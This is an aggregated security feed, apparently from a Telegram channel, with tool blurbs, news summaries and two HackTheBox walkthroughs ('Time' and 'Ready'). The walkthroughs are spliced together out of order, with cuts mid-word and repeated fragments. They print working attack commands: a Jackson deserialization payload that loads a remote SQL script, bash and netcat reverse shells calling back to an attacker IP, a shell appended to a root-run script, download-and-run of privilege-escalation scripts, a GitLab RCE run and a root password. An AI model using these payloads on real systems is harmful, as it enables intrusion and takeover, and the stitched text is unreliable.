In the name of Allah, i beginContinue reading on Medium » (https://n1ghtmar3.medium.com/chaining-xss-with-authentication-issues-to-turn-it-into-full-account-takeover-ae886ac696bb?source=rss------bug_bounty-5)

Kali Linux Tutorials
Lucifer : A Powerful Penetration Tool For Automating Penetration Tasks

Lucifer is a Powerful Penetration Tool For Automating Penetration Tasks Such As Local Privilege Escalation, Enumeration, Exfiltration and More… Use Or Build Automation Modules To Speed Up Your Cyber Security Life git clone https://github.com/Skiller9090/Lucifer.gitcd Luciferpip install -r requirements.txtpython main.py –help If you want the cutting edge changes add -b dev to the end of git clone https://github.com/Skiller9090/Lucifer.git Commands […]

The post Lucifer : A Powerful Penetration Tool For Automating Penetration Tasks appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
Waybackurls : Fetch All The URLs That The Wayback Machine Knows About For A Domain

Wayback urls accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for *.domain and output them on stdout. Usage example: cat domains.txt | waybackurls > urls Install: go get github.com/tomnomnom/waybackurls

The post Waybackurls : Fetch All The URLs That The Wayback Machine Knows About For A Domain appeared first on Kali Linux Tutorials.

Hacking Articles|Raj Chandel's Blog
Time HackTheBox Walkthrough

Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Time,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. Level:Medium<o:p Task:Find user.txt and root.txt in the victim’s machine<o:p Penetration Methodologies<o:p* Scanning<o:p

· Nmap<o:p

* Enumeration<o:p

· Browsing HTTP service <o:p

· Enumerating Json beautifier and validator<o:p

* Exploitation<o:p

· Exploiting com.fasterxml.jackson.core <o:p

· Linpeas to search for possible paths to escalate privileges<o:p

* Privilege Escalation<o:p

· Uploading reverse shell in timer_backup.sh<o:p

* Capturing the flag<o:p

<o:p Walkthrough<o:pNetwork Scanning<o:p<o:pLet’s get started then!<o:p

To Attack any machine, we need the IP Address. Machine hosted on HackTheBox have a static IP Address.<o:p

IP Address assigned to Time machine: 10.129.148.206<o:pLet us scan the VM with the most popular port scanning tool, nmap to enumerate open ports on the machine<o:p

nmap -A 10.129.148.206<o:phttps://1.bp.blogspot.com/-81VAj-px8ds/YK0Bz5URFMI/AAAAAAAAwNA/lYcF3xPGYGo9oBli58oIeZxs2vRVkkiLgCLcBGAsYHQ/s16000/1.png <o:pFrom the result above we found two working ports on the VM, port SSH(22), HTTP(80). <o:p

Since we don’t have the credentials for the SSH so we cannot enumerate it. The only service that is left is the HTTP service.<o:p

Enumeration<o:p

Starting with the HTTP service, we try to enumerate by accessing the IP Address of the target machine on a Web Browser. We see a website that features online Json beautifier and validator.<o:p https://1.bp.blogspot.com/-7PwHnxoqZXE/YK0CUbwLNAI/AAAAAAAAwNI/LPKS1FZ_RxYat9COa8_JGcSU55Gb73TiQCLcBGAsYHQ/s16000/2.png <o:p

We put something simple in beautifier to test and we received a message saying “null”.<o:p https://1.bp.blogspot.com/-fToMOCu-tPA/YK0CXXoga-I/AAAAAAAAwNM/HunXKvRpWiwLohSTJ-C5z5pXKJGD_d0IACLcBGAsYHQ/s16000/3.1.png So, we checked dropdown and there we saw validator function which is in beta and while giving a input we received an error related to com.fasterxml.jackson.core. <o:p https://1.bp.blogspot.com/-vtKKXgJafLI/YK0CgR2zJEI/AAAAAAAAwNQ/AnWtoEkPn9QUb9B2reEquxU4LtJp6iTxACLcBGAsYHQ/s16000/3.3.png <o:p

Next we did some research and on google we found a script which can be used to exploit com.fasterxml.jackson.core and is available on github repository.<o:p

https://github.com/jas502n/CVE-2019-12384<o:p

<o:p https://1.bp.blogspot.com/-TyDnDMCbcEk/YK0Cw1ykN1I/AAAAAAAAwNg/dpbr0sx2oBAHxrG53sG8DWrqu2W5OaczACLcBGAsYHQ/s16000/3.png As you can see in the image below, we cloned the repository to our local machine and to get reverse shell we need to edit the last line of the code in inject.sql file.<o:p

<o:p

git clone https://github.com/jas502n/CVE-2019-12384.git<o:p

<o:p https://1.bp.blogspot.com/-wnZ3mSaHrAs/YK0C0tH8lxI/AAAAAAAAwNk/VSVsvoRV15oZDmyWiaEbsB7HO8wMn1UmQCLcBGAsYHQ/s16000/4.png Getting user shell<o:pWe created a simple bash reverse shell script and added to our inject.sql file.<o:p

bash -i >& /dev/tcp/10.10.14.108/1234 0>&1<o:p

Next, we started python one liner SimpleHttpServer in our local machine to transfer the file from our machine to victim machine.<o:p

python -m SimpleHTTPServer<o:p https://1.bp.blogspot.com/-WzGWrfT0fbU/YK0C5VXmR4I/AAAAAAAAwNo/FzUPkpEyWrYDF9KT8mBND3DSerzUsoJqACLcBGAsYHQ/s16000/5.png We went to the function validate beta and entered the following payload which we got from git repository into the input field and then clicked pr[...]

Hacking Articles|Raj Chandel's Blog
Ready HackTheBox Walkthrough

Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Ready,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. Level:Medium<o:p Task:Find user.txt and root.txt in the victim’s machine<o:p Penetration Methodologies<o:p* Scanning<o:p

· Nmap<o:p

* Enumeration<o:p

· Browsing HTTP service <o:p

· Enumerating Gitlab pages<o:p

* Exploitation<o:p

· Exploiting Gitlab 11.4.7 RCE<o:p

· Spawning TTY Shell <o:p

· Linpeas to search for possible paths to escalate privileges<o:p

* Privilege Escalation<o:p

· Escaping privilege docker container <o:p

· Uploading bash script to gain root access<o:p

* Capturing the flag<o:p

<o:p Walkthrough<o:pNetwork Scanning<o:pLet’s get started then!<o:p

To Attack any machine, we need the IP Address. Machine hosted on HackTheBox have a static IP Address.<o:p

IP Address assigned to ready machine: 10.129.149.69<o:pLet us scan the VM with the most popular port scanning tool, nmap to enumerate open ports on the machine<o:p

nmap -A 10.129.149.69<o:phttps://1.bp.blogspot.com/-pma9i3U_I34/YK0FSk011ZI/AAAAAAAAwOc/2wG3K_Ty_JUVlA8rIpSpvO2J-gfyvK4mgCLcBGAsYHQ/s16000/1.png From the result above we found two working ports on the VM, port SSH(22), NGINX(5080). <o:p

Since we don’t have the credentials for the SSH so we cannot enumerate it. The only service that is left is the NGINX service.<o:p

Enumeration<o:p

Starting with the nginx service, we try to enumerate by accessing the IP Address and port of the target machine on a Web Browser. We see a website that features gitlab service and redirects us to sign in page.<o:p https://1.bp.blogspot.com/-yh1L_V8qDGk/YK0FW6Qma2I/AAAAAAAAwOg/vGeBV5zA2solglQOdSCwpqUQ7OQubmQlACLcBGAsYHQ/s16000/2.png <o:p

Since there is registration option so we immediately went to register page to see if we can register.<o:p

<o:p https://1.bp.blogspot.com/-xKfHAJIgrEY/YK0Fa7o-tlI/AAAAAAAAwOk/NofKUSYX_SwZU4cHdyRNyKVXS7lTUiP-wCLcBGAsYHQ/s16000/3.png <o:p

Once registered, we noticed that it says “update asap” in red, usually if we see a web application which is running old version then there are high chances that the version will have several vulnerabilities. <o:p

<o:p https://1.bp.blogspot.com/-3KiaW_GUJDs/YK0Feh5By5I/AAAAAAAAwOo/dbQCqoGrPKwxqBddoQ_VCVrxTfIOQyt-QCLcBGAsYHQ/s16000/4.png Next, we searched for an exploit of gitlab version 11.4.7 on searchexploit and we found a remote code execution (RCE) exploit is available. <o:p

<o:p

So, we quickly downloaded the available RCE exploit to our local machine and checked for required parameters. <o:p

searchsploit gitlab 11.4.7<o:p

searchsploit -m 49334<o:p

cat 49334.py<o:p https://1.bp.blogspot.com/-B273VXuaON4/YK0Fj6Xp6UI/AAAAAAAAwOw/dDaoV5Au6iQ7AQuIRWI7vVWZnJSCwYrjgCLcBGAsYHQ/s16000/5.png <o:p

Since it is a python file, we executed it to take reverse shell by running it with required parameters.<o:p

python3 49334.py -g http://10.129.149.69 -u ignite -p 12345678 -l 10.10.14.108 -P 1234<o:p

<o:p https://1.bp.blogspot.com/-1cTyq_a8yBU/YK0FqSeXzAI/AAAAAAAAwO0/nqmR9OWCRocKZEKgfeUvdq8xR84qKs9LgCLcBGAsYHQ/s16000/7.png Next, we started netcat listener on port 1234 in other terminal which successfully gave us simple reverse shell of the user. <o:p

nc -lvp 1234 <o:p

id<o:p

To access the proper terminal, we run following python one-liner command.<o:p

python3 -c 'import pty; pty.spawn("/bin/bash")'<o:p

cd /tmp<o:p

So, to exploit further to get roo[...]

ocess.<o:p

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.108:8000/inject.sql'"}]<o:p https://1.bp.blogspot.com/-S5SHkMuqzlo/YK0C8qkRbGI/AAAAAAAAwNs/OWhb5at2v7MC-NtCRTfbYs5m9U5WwzmWwCLcBGAsYHQ/s16000/6.png Next, we started netcat listener on port 1234 in other terminal which gave us reverse shell of the user pericles. <o:p

nc -lvp 1234 <o:p

cd /home<o:p

ls<o:p

cd /pericles<o:p

ls<o:p

cat user.txt<o:p

<o:p

So, to exploit further to get root shell, we uploaded linpeas from local machine to victim machine, the script will look for possible paths to escalate privileges.<o:p

cd /tmp<o:p

wget 10.10.14.108:8000/linpeas.sh<o:p

chmod 777 linpeas.sh<o:p

./linpeas.sh<o:p

<o:p https://1.bp.blogspot.com/-PU0WuhXVya8/YK0DC-vvH2I/AAAAAAAAwNw/avdUERTu-RQBkyn1KWakQldhum4ZwH8owCLcBGAsYHQ/s16000/7.png <o:p Privilege Escalation <o:pThe result below from linpeas tell us that linpeas found a script timer_backup.sh which is present in /usr/bin directory and is writable by normal users. <o:p

<o:p https://1.bp.blogspot.com/-f59XPxritQc/YK0DImGOwBI/AAAAAAAAwN4/82EOUMt240AdtcrTGaM8VQjNWKnsjrpHACLcBGAsYHQ/s16000/8.png So, we quickly checked the timer_backup.sh which is read, write and executable but when we tried to execute the script it gave us error. So, it means that the file is only executable by root user and everything added to the script will get executed by root privilege.<o:p

<o:p https://1.bp.blogspot.com/-_hmLZQgF7IQ/YK0DPUVI_pI/AAAAAAAAwOA/gKCNQGBaSUEuR97RAusqqmg4uyjEZCt5wCLcBGAsYHQ/s16000/9.png We added our reverse shell payload inside the timer_backup.sh file which get executed by root privilege.<o:p

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.108 4444 >/tmp/f" >> /usr/bin/timer_backup.sh<o:p

<o:p https://1.bp.blogspot.com/-willPFzVkFo/YK0DU9LmEGI/AAAAAAAAwOI/8sdQPlCN3kcPOmVIvku93HbLgGg5JVWRwCLcBGAsYHQ/s16000/10.png <o:p Getting root shell<o:pWe started netcat listener in one window of local machine. <o:p

Since the script is executed by root in every 5-10 seconds so next time it executed, we will get the shell.<o:p

So here the privilege escalation is due to the unwanted file permission given to normal user.<o:p

<o:p

nc -lvp 4444<o:p

cat /root/root.txt<o:p https://1.bp.blogspot.com/-7SKiyXbPGnY/YK0DaAgZ34I/AAAAAAAAwOQ/yzvt4gaJ7Y0Qout3scx8E7_hBOVVsqZLwCLcBGAsYHQ/s16000/11.png Author: Prabhjot Dunglay is a Cyber Security Enthusiast with 2 years of experience in Penetration Testing at Hacking Articles, Ignite technologies. Contact here.<o:p

<o:p

t shell, we uploaded linpeas from local machine to victim machine, the script will look for possible paths to escalate privileges.<o:p

wget 10.10.14.108:8000/linpeas.sh<o:p

chmod 777 linpeas.sh<o:p

./linpeas.sh <o:p https://1.bp.blogspot.com/-0Vt0t-g8c2Q/YK0FuCDkMOI/AAAAAAAAwO8/baaascdul9EUlZAprWXpVr87mj61MAm-wCLcBGAsYHQ/s16000/8.png Privilege Escalation<o:pThe result below from linpeas tell us that we are in docker container, so we do some enumeration.<o:p <o:phttps://1.bp.blogspot.com/-IrzSKeM-AGI/YK0FzLifMwI/AAAAAAAAwPA/x5-9rtg3-2sMjnfE98s_auKbPrjW6BxygCLcBGAsYHQ/s16000/9.png <o:pAfter enumeration we found gitlab.rb inside the directory /opt/backup and the file contains smtp user login credentials. The credentials are useful for us if they are used by other users such as root. So, when we tried to login as root, and we successfully logged in.<o:p

But when we looked for root.txt it was not present in root directory because we are in privilege docker container which can be escaped to get root flag.<o:p

cd /opt<o:p

ls<o:p

cd /backup<o:p

ls<o:p

cat gitlab.rb | grep password<o:p

su root<o:p

Password : wW59U!ZKMbG9+*#h<o:p

<o:p https://1.bp.blogspot.com/-qiARL1kh8V8/YK0F6tchgAI/AAAAAAAAwPI/ey7pivyGtxQykwZVLcDqqNJdOhTlmfL8gCLcBGAsYHQ/s16000/10.png <o:p Escaping docker container<o:pSo, to get root flag and to escape docker container we created a bash on our local machine with the help of the article here.<o:p

<o:p https://1.bp.blogspot.com/-oK6GS6-2uIo/YK0F_jqeodI/AAAAAAAAwPQ/SELC6C2IY681uZyOBlS4lqLrjB5Afj8pQCLcBGAsYHQ/s16000/11.png <o:p

Next, we started python one liner SimpleHttpServer in our local machine to transfer the file from our machine to victim machine.<o:p

<o:p https://1.bp.blogspot.com/-SCN_eCeEpx4/YK0GECQscwI/AAAAAAAAwPY/rjSvVNoA1_cFTEeol88sdxyJO5IgP8vowCLcBGAsYHQ/s16000/12.png <o:p

cd /tmp<o:p

wget 10.10.14.108:8000/raj.sh<o:p

chmod 777 raj.sh<o:p

./raj.sh<o:p

<o:p https://1.bp.blogspot.com/-yVxZdpCYkDg/YK0GInWLThI/AAAAAAAAwPc/QHtH_WlBFLQpbD7-MBzjO6esNwlhMLlHwCLcBGAsYHQ/s16000/14.png <o:p
Finally, we started netcat listener on port 9000 in other terminal which gave us reverse shell of the root user. <o:p

nc -lvp 9000 <o:p

cd /root<o:p

ls<o:p

cat root.txt<o:p https://1.bp.blogspot.com/-rIy4H-DjqK8/YK0GNgRBPsI/AAAAAAAAwPk/9ns1TsyVvxIOyBQX8xpLiRLZsssOQ4A_ACLcBGAsYHQ/s16000/15.png Author: Prabhjot Dunglay is a Cyber Security Enthusiast with 2 years of experience in Penetration Testing at Hacking Articles, Ignite technologies. Contact here.<o:p

<o:p

<o:p

Hacking Articles
Time HackTheBox Walkthrough

Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Time,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. The challenge was designed by egotisticalSW & felamos. Level: Medium Task: Find user.txt and root.txt in the victim’s

The post Time HackTheBox Walkthrough appeared first on Hacking Articles.

Hacking Articles
Ready HackTheBox Walkthrough

Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Ready,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. The challenge was designed by bertolis. Level: Medium Task: Find user.txt and root.txt in the victim’s machine Penetration

The post Ready HackTheBox Walkthrough appeared first on Hacking Articles.

Dark Reading: Attacks/Breaches
The Adversary Within: Preventing Disaster From Insider Threats

Insiders are in a position of trust, and their elevated permissions provide opportunities to cause serious harm to critical business applications and processes.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Uptycs Offers Resilience Formula to Boost Business Continuity

SPONSORED CONTENT: Breaches and data loss are inevitable, but customers can bounce back more readily with some planning and foresight, says Ganesh Pai, CEO and founder of Uptycs. He suggests a trajectory for customers looking to improve their own resilience, starting with proactiveness, followed by reactivity, then predictive capabilities and better protection.

Dark Reading: Attacks/Breaches
Your Network's Smallest Cracks Are Now Its Biggest Threats

Bad actors have flipped the script by concentrating more on low-risk threats. Here's how to address the threat and the tactics.

___________________________
@hacking_Attack
@Hacking_Video